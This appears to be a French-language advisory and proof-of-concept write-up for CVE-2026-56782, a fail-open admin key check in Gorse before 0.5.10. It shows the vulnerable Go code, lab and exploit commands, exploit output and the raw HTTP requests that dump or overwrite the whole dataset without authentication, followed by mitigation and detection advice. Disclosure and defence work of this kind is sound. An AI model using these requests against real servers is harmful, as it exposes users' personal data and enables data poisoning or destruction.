CVE-2026-56782 — Gorse <0.5.10 dump/restauration de base de données non authentifié (admin_api_key fail-open). Lab + PoC, vérifié e2e.
Gorse
< 0.5.10est livré avecadmin_api_key = "". Les points de terminaison HTTP maîtres/api/dumpet/api/restoresont protégés par une vérification admin qui échoue en mode ouvert lorsqu'aucune clé n'est configurée — la valeur par défaut. Un attaquant non authentifié, accessible via le réseau, peut exfiltrer l'ensemble du jeu de données (utilisateurs, éléments, feedback / informations personnelles) ou le remplacer.
| CVE | CVE-2026-56782 |
| Affecté | Gorse < 0.5.10 |
| Corrigé | 0.5.10 |
| Classe | CWE-305 (Contournement d'authentification par faiblesse primaire) / CWE-306 (Authentification manquante) |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Authentification | Aucune (admin_api_key par défaut est vide) |
| Points de terminaison | GET /api/dump, POST /api/restore (HTTP maître, port par défaut 8088) |
| Statut | CONFIRMÉ — reproduit de bout en bout contre zhenghaoz/gorse-in-one:0.5.8 |
master/rest.go protège les gestionnaires de vidange/restauration avec checkAdmin() :
func (m *Master) checkAdmin(request *http.Request) bool {
if m.Config.Master.AdminAPIKey == "" {
return true // <-- fail-open : aucune clé configurée => tout le monde est admin
}
if request.Header.Get("X-API-Key") == m.Config.Master.AdminAPIKey {
return true
}
return false
}
func (m *Master) dump(response http.ResponseWriter, request *http.Request) {
if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
... // diffuse chaque utilisateur, élément et ligne de feedback
}
func (m *Master) restore(response http.ResponseWriter, request *http.Request) {
if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
... // m.Restore(request.Body) — remplace le jeu de données
}
Le config/config.toml fourni définit admin_api_key = "". Avec la configuration par défaut,
checkAdmin() renvoie true pour toute requête — l'en-tête X-API-Key n'est jamais consulté —
les deux points de terminaison sont donc lisibles et inscriptibles par le monde entier.
GET /api/dump diffuse la base de données complète : chaque identifiant
et étiquettes d'utilisateur, chaque élément, et l'ensemble du graphe de feedback (qui a interagi avec quoi).
Pour un système de recommandation soutenant un produit réel, il s'agit de données personnelles massives /
données comportementales.POST /api/restore remplace le jeu de données par un contenu
fourni par l'attaquant, permettant un empoisonnement silencieux des données ou leur destruction.# 1. Lancer le serveur vulnérable (image officielle, configuration par défaut = pas d'authentification).
docker compose -f lab/docker-compose.yml up -d
# --playground ensemence un jeu de données réel utilisateurs/éléments/feedback à exfiltrer.
# 2. Exécuter le PoC (aucun identifiant).
python3 exploit.py http://127.0.0.1:8088 -o dump.bin
Observé :
[*] GET http://127.0.0.1:8088/api/dump (pas d'en-tête X-API-Key)
[*] HTTP 200 content-type: application/octet-stream
[+] EXFILTRATION DE DONNÉES NON AUTHENTIFIÉE CONFIRMÉE
users : 2079
items : 22320
feedback : 331901
payload : 262747105 octets protobuf
exemples d'identifiants utilisateur : 0-vortex, 0markill, 0q2, 0x4richard, 0x973
[*] POST http://127.0.0.1:8088/api/restore (pas d'en-tête X-API-Key, corps seulement EOF)
[+] HTTP 200 (pas 401) - checkAdmin contourné : /api/restore est inscriptible sans authentification.
Un en-tête X-API-Key frauduleux renvoie toujours 200 — confirmant que la clé est complètement ignorée lorsque admin_api_key n'est pas défini (le chemin d'échec ouvert), et pas seulement non concordante.
GET /api/dump HTTP/1.1
Host: 127.0.0.1:8088
POST /api/restore HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: application/octet-stream
<flux de vidange : marqueurs int64 LE (-1 utilisateurs, -2 éléments, -3 feedback, 0 EOF) + protobuf préfixé par longueur>
admin_api_key fort (et des
identifiants dashboard), terminez TLS devant le maître, et n'exposez jamais le port HTTP maître (8088)
à des réseaux non fiables.Alerter sur GET /api/dump ou POST /api/restore vers le port maître depuis tout client
ne possédant pas d'en-tête X-API-Key valide, et sur les réponses application/octet-stream volumineuses
depuis /api/dump.
Voir ANALYSIS.md pour le flux des requêtes, le format du flux de vidange, et le correctif.